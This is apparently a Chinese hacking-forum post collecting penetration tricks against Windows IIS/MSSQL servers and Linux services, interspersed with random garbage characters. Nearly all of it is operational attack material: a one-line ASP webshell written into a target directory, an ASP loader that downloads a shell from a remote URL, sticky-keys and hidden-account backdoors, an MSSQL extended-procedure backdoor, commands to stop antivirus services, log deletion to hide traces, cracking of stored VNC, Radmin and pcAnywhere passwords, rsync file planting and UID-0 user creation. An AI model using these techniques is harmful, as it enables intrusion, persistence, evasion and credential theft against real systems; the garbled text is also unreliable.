渗透技巧总结

admin

旁站路径问题
0 @! Q) |! q! G1 u' i  l$ L! B. T/ o1、读网站配置。
3 l8 \1 x: H9 }) D2、用以下VBS
2 @" M8 K; ]" U0 r3 F% K: hOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
( d7 e  n/ N, J3 T0 ~$ F% w$ V; W9 _        

) J) F7 Q% a$ \; U! I# VMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

& U( v- r5 ^' v, cUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
7 m, H# F6 x! G3 Z8 j/ {9 A! K, yEnd If
0 G6 L& a2 `0 |! Q' m, v) C! zSet ObjService=GetObject

/ N9 U1 |& H( h( E("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

) X1 D) `3 U4 ], N/ z+ J/ j% zThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
0 _5 S; ]$ |- X: b2 F         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
  \8 o0 E. G! {, c5 m. U                If Err
3 d2 ~7 D3 z2 Q* v. H, G: q
<> 0 Then WScript.Quit (1)
. l) w, j$ s' {( w4 m" q                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
/ v! H6 `; j. F- y# c  S' i3 Z/ d; \                For Each Binds In OService.ServerBindings
     

1 h' u* c: Q6 e) K0 M                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

4 A& m  r" }% O, R1 ^* VWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
6 m- U" _' D  U! l" i( y# G6 R                Next
5 O: M8 I5 @& s) T, T! k5 N      
* Y- x" h0 |" T; K" ~6 G: m# C
         WScript.Echo "ath            : " & VDirObj.Path
6 y& Q0 [: S& l7 R2 k. u# p        End If
Next
% r  R9 F" S' j6 ~( {# `8 U( }+ [复制代码
6 L4 J- A$ o: O6 S* S* L3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
0 B, F) t' M# y; [7 A1 \4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
; z, b, l1 w  ~+ J0 i' U, h/ hWordPress的平台，爆绝对路径的方法是：
! e0 M! r6 d: |url/wp-content/plugins/akismet/akismet.php
% b  Z) R7 v$ ^; furl/wp-content/plugins/akismet/hello.php
, R" l/ {; b! o& [) m/ ^——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
1 f, a! N: E, B4 xphpMyAdmin/darkblue_orange/layout.inc.php
. V- S" B1 _4 Z7 u; {phpMyAdmin/index.php?lang[]=1
7 c6 n* A3 Q5 ^9 L8 z/ [phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
6 d3 Y- B9 T+ @  i! `网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
( @& h1 j  c) w0 ^  C* K5 b# ^————————————————————
$ S& z& m( h5 F! e9 v$ wCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
% N3 s3 }3 `5 r) \9 Snetsh ras show user #查看哪些用户可以拨入VPN
# l8 ]% G; E+ o+ r; Tnetsh ras ip show config #查看VPN分配IP的方式
9 M) [7 ]1 [4 _2 A5 [netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
/ f7 @! [0 x# @3 U2 T. d9 J3 u命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
- p1 o/ G1 z; S8 v  T6 N% J" dEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

1 G$ c0 A3 y7 D% R# h: C: k% G另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
1 v; S% w+ m! kjs:
var o=new ActiveXObject( "Shell.Users" );
, i. F6 }2 D/ P* I; m  Zz=o.create("test") ;
z.changePassword("123456","")
0 t; K5 r0 o9 h( z: I# }& r9 a4 Uz.setting("AccountType")=3;
9 c) V* V" o5 I2 E) A- E
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
: }" C# ?% w! h3 `9 P
+ B# \5 O# E+ r2 J命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
5 w6 a) L3 d& [9 r4 j1 A, zcacls "目录" /d everyone               #everyone不可读，包括admin
& v1 X- B3 L2 ~3 S1 w————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
, S; @3 U$ Y( B# R; Z* V$ H6 g/ kb、内网环境（LCX）
c、终端服务器超出了最大允许连接
& x9 D7 ]4 Q, w# `3 ]9 |# [9 pXP 运行mstsc /admin
2003 运行mstsc /console   

# A8 H# I5 |# V; O$ m杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
# F6 V: J) f$ M( ^3 I9 N/ d! gnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
2 q' ~! v$ J( @( C. ^2 a
卖咖啡：net stop "McAfee McShield"
————————————————————
& Z! R/ k" O) N4 X) Y/ p
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
6 ]% M  }; Q0 qcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
# |& H6 L0 j( W) g6 k——————————————————————
隐藏账号添加：
; f6 @* {+ C1 R- z3 f7 L1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
; G" D& w1 K6 y  `% z8 \1 u2、导出注册表SAM下用户的两个键值
6 g* t$ A3 n/ @  G& @  B- f/ b; J3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
; d  L9 J' Y' v: V4 w) O4、利用Hacker Defender把相关用户注册表隐藏
$ i$ |  K0 o+ F1 p0 D5 h$ b——————————————————————
MSSQL扩展后门：
9 j+ h+ t/ U  b! `, kUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
; x; G, `9 ~9 j/ PGRANT exec On xp_helpsystem TO public;
) D# z# D: B5 Q% t9 X———————————————————————
/ q' T5 g" V5 ~3 [. C# ^; a日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
* O% [# d2 ~( X. x用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
" ?& |5 b! L# g8 }$ ?
MSSQL查询分析器连接记录清除：
. m9 I2 _$ p7 u: c& ]- MMSSQL 2000位于注册表如下：
/ ^+ {( y+ ?/ w$ tHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
: a5 ?0 g9 l' \+ o/ RMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
+ K1 G; w8 x* R8 g
" w3 u: o& e* X# ^+ M- l& y, QServer\90\Tools\Shell\mru.dat
—————————————————————————
1 ~8 [! s7 G8 v5 E防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

, S' F" Y# v7 q<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
% P; f( E) L3 |: l% ]3 dDim Ads, Retrieval, GetRemoteData
On Error Resume Next
$ r# W5 A9 n4 ^# ?2 j, n( ?Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
( R# o7 c( Y# Y0 J4 yWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
; S; M3 }  a  D+ ^1 t+ QGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
! ]2 q6 [5 c9 @* o.Type = 1
1 E8 _) q; Q2 }2 w$ w" K5 C5 o.Open
.Write GetRemoteData
% C7 J6 S8 p, ?1 x  i.SaveToFile Server.MapPath(s_LocalFileName), 2
, X+ y5 h) K; D. k, F.Cancel()
.Close()
End With
8 f6 u2 G3 E* L1 Z/ m3 HSet Ads=nothing
3 L4 i# X% F* G  G' ?8 [End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
/ \, e  L+ E+ G; E6 F( ^
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 Q$ m: o8 e5 c9 T. l6 H' F6 v5 @Radmin 默认端口是4899，
) h: i' d" C+ U, [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
2 _, h" |& ]  m+ n& ^3 K% k  y然后用HASH版连接。
$ {. J# N; A9 G9 q) v& _  ^* F/ W如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
, g; D0 N  m+ E) j  c( CUsers\Application Data\Symantec\pcAnywhere\文件夹下。
  P" P/ J3 _& R* o% O6 [——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
& K6 ^) {0 f) T没有删cmd组建的直接加用户。
2 {. W6 O" f  \- G- Q( X: e7i24的web目录也是可写，权限为administrator。

9 U3 W3 E; Q  H9 v1 Z) M1433 SA点构建注入点。
3 R9 F0 y- x. Y2 F0 A; X: w<%
; `3 f3 H! a3 V- j" l1 {) ?% LstrSQLServerName = "服务器ip"
4 L3 y+ ~- h, @$ O$ F: LstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
( E+ z0 L. I$ g  ^6 t, DstrSQLDBName = "数据库名称"
; X4 O$ i$ n7 M, z& K& D* B: VSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

6 @4 {  w; ~! M, i) P  @. R";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
/ |9 }) n! b0 r7 C
( R: i: }) `4 \! A1 I7 U) b, [* IstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
, f  x; ]1 i, B" k- J: sstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
# o7 e# o) F5 S) b%>
复制代码
. W1 v& ?) q7 L) v7 \******liunx 相关******
一.ldap渗透技巧
. i) ^2 A2 F( Q5 G0 B1 s  F1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
! ~( o7 G( R) l" _/ R6 `
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

' \+ d  e- [7 v) [& p1 H) [6 f' ~3.查找管理员信息
2 x6 p  X9 W, d8 O+ h1 z6 u. y匿名方式
9 {: N/ w9 b  e/ [) nldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
- P+ G. T: Y; U  i* _. j4 ~
4 C. {6 }7 {( l" z( N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! a) o& ]5 ^# y+ E8 D! K! y有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 S' Y4 B- z1 q; c3 P1 T9 Q4 a3 J
/ J, e' Z. R: x' K; y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% }, c1 N! C- G0 W+ p% Y9 m1 \

4.查找10条用户记录
0 w) ?: e+ z0 @" B, xldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
. }" ?6 k$ a- [, o2 [! `& b
3 r: t5 F  T! w* M  R实战:
2 |: V3 D( b8 s5 P3 L" c; \, V" O# P1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
5 L0 W2 m( i0 c% l2 m3 X( ~
2.less /etc/ldap.conf
* A( L, l! B" _  Xbase ou=People,dc=unix-center,dc=net
8 }  P+ I, @- B; T' [找到ou,dc,dc设置
1 D" I9 c0 ]- `3 u9 \
8 y: t/ y& l2 h2 u9 _+ `* A- c$ V3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

- B  ]/ G) M& O"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
" w1 H# G5 F6 O* Dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. t+ i* a: M) b8 K1 {
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

+ J$ O- B5 C! t; P
* b, E& Y0 M. _! F4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- z% i4 C5 Z# m, N
2 g2 z! H. z. v& T) b# A- z渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

# @5 }$ p4 m! u6 z8 x2 tdn: uid=manager,dc=ruc,dc=edu,dc=cn
, v- A9 ~0 ^1 g& q3 R  P: uuid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
0 v8 c! Q# K+ B) I4 S3 _/ N( E7 ysn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
6 S) N$ Q/ K9 I% m- n5 a0 r9 n7 U2 YobjectClass: inetOrgPerson
: ~3 v2 o6 w4 F7 {! KobjectClass: organizationalPerson
0 }. e6 i% C% f  fobjectClass: person
objectClass: top
sn: superadmin
( ^. y+ D' B; M. |9 M: D" F  [cn: superadmin
% w$ w6 P8 w, J/ A3 V
$ r# F7 b; \0 J) ]6 `dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
$ |0 H; e: @' W1 d8 cobjectClass: inetOrgPerson
; [% t$ u3 c& sobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
/ W# O* p1 v1 s# _cn: admin
& z/ G7 X! b' n1 P. c$ q+ y
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
. Y# }# X+ f2 uobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
5 }7 Q5 w* |% U
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
2 d5 t! N6 f3 F* }
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
2 j& W: u, u. M2 f* X, V6 p, IobjectClass: top
# ^9 }' u# y0 c5 \namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
" ~6 v3 D& _$ b- }' HsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
" n8 D5 H0 s$ ]  y7 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
8 K$ C+ h/ m: z  gsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
& s5 G2 y, T) UsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
( A8 Y% E. J" ^2 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
$ z7 f/ d; V& ?3 M* M4 G" K7 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
! |) G  A& Z7 a& ^( }7 q- d  rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
) J9 b( C* G. S2 Y0 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
* j( {- I! J+ d+ \  U; e0 n1 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
0 ~& f/ z$ u/ LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
. n9 t7 K% b8 L! l$ G7 i; ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
4 Y% f& H. n" a' X0 Y1 u8 D( nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
- Z5 V. G& y! \& L8 p0 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
6 G7 M# ?; I- t1 y$ a' H7 I" r5 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
6 e8 s$ H! ^1 ?2 R$ [8 ^# BsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
6 F. y- G+ f" T3 z$ a7 EsupportedControl: 2.16.840.1.113730.3.4.4
( a8 G0 H, [' rsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
1 p& k$ W+ m2 z) H% [: K6 wsupportedControl: 2.16.840.1.113730.3.4.9
% R  V7 I7 L0 k- D4 OsupportedControl: 2.16.840.1.113730.3.4.16
7 T1 |& J; F/ V$ ?7 e/ F. gsupportedControl: 2.16.840.1.113730.3.4.15
" `& M- S: v3 |" b5 ssupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
3 m% W% U) U  ]( x; z5 NsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 c6 Z2 B+ a( N. q: N* K6 u& o# ~3 X/ WsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
# O& ]; z2 X9 I# _  bsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
- A. O! ^. F% S  h! ?7 Z! C1 QsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
1 V  _' t4 }* ]5 {supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
! ]& h0 M/ R( C6 [& }supportedControl: 2.16.840.1.113730.3.4.12
& I' B: H% B" s' s% u5 J3 dsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
! |7 g7 v8 g' V4 r, Z$ x: ^supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
4 `$ H' M% W2 D# j% gvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
% E) ^0 A1 @' h2 ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+ y$ B& ]* }' R; K! b6 hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
- Y# J, D3 q- j8 Z2 b; qsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
6 [) o% [. A9 O  `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
% }/ O& {$ E: D/ W( ?: {5 UsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
( K5 e" Y" C* r" G/ esupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
, t1 Z( u" @0 L+ `. H4 Z0 y1 HsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. v8 d  F: Z  Y8 asupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
- ~# E5 h1 j" j% _; R3 h! NsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
1 n! j  E/ h7 Q! {supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
/ E4 b9 r1 r4 |2 ?. r+ w4 _supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
' A4 f) q  Y8 N  gsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
7 u1 {# ~) g; g, |) ]: F' I  vsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
- |; e) {  J' {! P( ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
% V0 }; f! q8 U) j  _1 c( @supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
8 w( Z7 |8 V; {8 ~5 k2 DsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
- f; u3 _3 D3 `2 k9 JsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
8 F" s. o! S; O; j" y" NsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
% U6 ?$ w0 u9 U8 U. @supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
$ m4 g4 T) z) U/ d8 Y! N4 KsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
/ z; m3 J  w0 Z- [0 L8 x! r* ~supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
& _5 P6 \8 S$ gsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" ]9 {9 s- M- Q0 FsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
9 N( X; D. Q8 h4 q; N列举IP
——————
3.rsync渗透技巧
1 _$ _. u- x6 v1.查看rsync服务器上的列表
4 C% P) |" Z( F& A4 r1 l3 drsync 210.51.X.X::
0 a7 H. D/ m' g! {" kfinance
% T5 c  S; F2 d& s) ]/ r& w& B# c# ]img_finance
3 \8 Z1 U5 j% sauto
. d7 P8 g% }5 x6 ?3 c8 G: x* K( timg_auto
9 L4 m, C) ]/ R5 N- _3 }7 ~html_cms
img_cms
) s. P# X) l/ rent_cms
$ s6 o& N4 n% C5 y, C1 Qent_img
ceshi
res_img
7 K% ^# u; c5 g* X0 Gres_img_c2
; G, e4 V. \/ k, m) F4 Ychip
) ^+ O2 f" J1 f2 Kchip_c2
ent_icms
games
7 U$ D3 R0 s1 S; g/ \- j) hgamesimg
media
mediaimg
fashion
res-fashion
& Y9 k- ~$ B. {res-fo
taobao-home
% e! [; a+ j& M0 L+ ~( Zres-taobao-home
1 `6 V: r* J) M% R# Xhouse
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
1 D/ t! n! V: W: e- R7 K; s" cedu
7 o- W8 k% `+ t$ W* [, m2 Fnews
res-book
) `0 M8 R# q9 v, ~; d7 m% o
9 R6 g5 e6 W4 D# F& G看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
* C. {2 N7 c; E
3.向上更新rsync文件(成功上传,不会覆盖)
0 W8 V9 [! ~; A- X8 V$ U4 i2 X3 @$ Orsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
( {- k- K: F$ Q# f. fhttp://app.finance.xxx.com/warn/nothack.txt
, g0 ]9 c- Z& T# N  m6 |/ C
4 z# ?' l  P# Y* a2 i% B四.squid渗透技巧
8 C/ T, J: l; {6 m$ {nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
! O- F$ G% @+ ~) q# H$ Y五.SSH端口转发
' ?* }2 J" I5 i/ J8 \ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
2 Y$ O: R( ]: i' |/ \
# h% ]( A" O! p) d$ o( G) _六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
4 n4 A% N  R( _9 @6 g) C
8 u) ^% X0 d8 Z6 }7 _15&catid=32:languages&Itemid=47

) _2 K7 `7 e6 C) t. `$ a9 D重新设置密码
4 R3 H0 S* K0 _% [index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* e* \- N# s+ u1 F3 q6 v* [argp@julius ~]$ sysctl vfs.usermount
+ Y4 o) v2 ?+ e' h* vfs.usermount: 1
# Z3 ?3 X7 C2 ?; G* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
+ m0 f2 Y7 b' R& }9 b" C4 w* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
% [$ Z. p; \- k  g*
7 A4 B! \  a0 I. z9 t$ scalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
0 X4 U* J+ s" Z) ?——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
' W) w  |7 Q7 s; g" l" x0 r————————————————————————————
